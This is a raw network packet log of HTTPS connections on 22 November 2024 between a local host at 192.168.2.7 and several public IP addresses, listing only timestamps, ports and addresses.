Nov 22, 2024 01:02:22.499205112 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:22.499705076 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:22.499717951 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:22.554176092 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.554327011 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.554398060 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.554456949 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.554466009 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.554477930 CET	49707	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.554482937 CET	443	49707	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.556972027 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.556993008 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.557048082 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.557171106 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.557177067 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.560811996 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.560830116 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.560883999 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.560899973 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.560977936 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.561060905 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.561065912 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.561100006 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.561199903 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.561225891 CET	443	49708	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.561261892 CET	49708	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.562724113 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.562748909 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.562880039 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.562897921 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.562947035 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.562947035 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.562975883 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.562994957 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.562994957 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.563014030 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.563059092 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.563184977 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.563184977 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.563199043 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.563218117 CET	443	49706	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.563287020 CET	49706	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.564760923 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.564770937 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.564835072 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.564958096 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.564968109 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.640743017 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.640773058 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.640958071 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.640976906 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.641107082 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.641107082 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.641124964 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.641274929 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.641311884 CET	443	49710	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.641366005 CET	49710	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.643043995 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.643079996 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.643147945 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.643275023 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.643287897 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.659280062 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.659380913 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.659450054 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.659948111 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.659949064 CET	49709	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.659962893 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.659970999 CET	443	49709	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.661494970 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.661514997 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:22.661581993 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.661690950 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:22.661701918 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:23.612921953 CET	49674	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:23.615447044 CET	49675	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:23.762655020 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:23.762758017 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:23.764344931 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:23.764353037 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:23.764621973 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:23.766257048 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:23.766304016 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:23.766318083 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:23.784902096 CET	49672	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:24.287884951 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.288680077 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.288702011 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.289355993 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.289369106 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.355140924 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.355920076 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.355927944 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.356554985 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.356559038 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.404932022 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.405592918 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.405603886 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.406222105 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.406224966 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.435448885 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.436290979 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.436309099 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.436821938 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.436827898 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.442079067 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.442586899 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.442598104 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.443182945 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.443187952 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.508214951 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.508245945 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.508269072 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.508290052 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.508301973 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.508316040 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.508342028 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.508524895 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.508577108 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.508584023 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.516983032 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.517066002 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.517071962 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.566054106 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.566060066 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.612934113 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.627561092 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.631741047 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.631840944 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.631845951 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.675549984 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.709381104 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.709448099 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.709692955 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.723027945 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.723068953 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.723191977 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.768100023 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.768100023 CET	49711	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:24.768106937 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.768115044 CET	443	49711	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:24.773662090 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.773691893 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.773709059 CET	49713	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.773715973 CET	443	49713	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.778985977 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.779011965 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.779119015 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.779272079 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.779285908 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.802838087 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.802901030 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.802958012 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.803356886 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.803364992 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.803375006 CET	49714	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.803379059 CET	443	49714	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.871128082 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.871283054 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.871340990 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.889445066 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.889642954 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.889712095 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.901093960 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.901168108 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.901360035 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.932902098 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:24.932918072 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:24.933028936 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.078823090 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.078838110 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.079094887 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.079112053 CET	49712	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.079114914 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.079123974 CET	443	49712	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.080570936 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.080570936 CET	49715	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.080600023 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.080605984 CET	443	49715	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.081047058 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.081053972 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.081063032 CET	49716	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.081067085 CET	443	49716	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.085084915 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.085127115 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.085129976 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.085184097 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.085211039 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.085244894 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.085417986 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.085427999 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.085443020 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.085443974 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.086359978 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.086400986 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.086484909 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.086782932 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:25.086797953 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:25.184510946 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:25.184556007 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:25.184680939 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:25.185137987 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:25.185152054 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:26.450191975 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:26.450326920 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:26.451812983 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:26.451822996 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:26.452739954 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:26.454262018 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:26.454408884 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:26.454447031 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:26.567264080 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.568152905 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.568176031 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.568733931 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.568743944 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.751914978 CET	443	49703	104.98.116.138	192.168.2.7
Nov 22, 2024 01:02:26.752232075 CET	49703	443	192.168.2.7	104.98.116.138
Nov 22, 2024 01:02:26.798458099 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.799235106 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.799266100 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.799801111 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.799815893 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.799885988 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.800169945 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.800195932 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.800708055 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.800714016 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.867286921 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.867772102 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.867783070 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.868211985 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.868216991 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.929570913 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.930008888 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.930071115 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:26.930439949 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:26.930453062 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.010665894 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.010720015 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.010771990 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.010951042 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.010966063 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.011020899 CET	49717	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.011027098 CET	443	49717	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.014971018 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.015027046 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.015105963 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.015253067 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.015276909 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.233180046 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.233237028 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.233300924 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.233473063 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.233510017 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.233537912 CET	49720	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.233552933 CET	443	49720	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.234349966 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.234399080 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.234503031 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.234591007 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.234631062 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.234671116 CET	49719	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.234678984 CET	443	49719	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.236972094 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.237008095 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.237220049 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.237762928 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.237792015 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.237883091 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.237914085 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.237927914 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.238014936 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.238025904 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.310111046 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.310175896 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.310317039 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.310338020 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.310338020 CET	49718	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.310348034 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.310357094 CET	443	49718	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.312283993 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.312303066 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.312367916 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.312493086 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.312505007 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.370951891 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:27.371179104 CET	443	49722	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:27.371288061 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:27.371288061 CET	49722	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:27.385137081 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.385296106 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.385349989 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.385399103 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.385416985 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.385427952 CET	49721	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.385433912 CET	443	49721	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.387681961 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.387707949 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.387764931 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.389849901 CET	49727	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:27.389863968 CET	443	49727	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:27.503240108 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:27.503272057 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:27.503344059 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:27.503731012 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:27.503741980 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:28.729676008 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:28.729787111 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:28.730906010 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:28.730911016 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:28.731704950 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:28.732906103 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:28.733077049 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:28.733125925 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:28.733185053 CET	49728	443	192.168.2.7	104.21.66.38
Nov 22, 2024 01:02:28.733481884 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:28.733854055 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:28.733890057 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:28.734321117 CET	49723	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:28.734329939 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:28.775330067 CET	443	49728	104.21.66.38	192.168.2.7
Nov 22, 2024 01:02:29.022609949 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.023286104 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.023303032 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.023890972 CET	49724	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.023895979 CET	443	49724	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.032816887 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.033139944 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.033154011 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.033507109 CET	49726	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.033512115 CET	443	49726	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.051486015 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.052036047 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.052059889 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.052515030 CET	49725	443	192.168.2.7	13.107.246.63
Nov 22, 2024 01:02:29.052520037 CET	443	49725	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.167675972 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.167736053 CET	443	49723	13.107.246.63	192.168.2.7
Nov 22, 2024 01:02:29.167792082 CET	49723	443	192.168.2.7	13.107.246.63
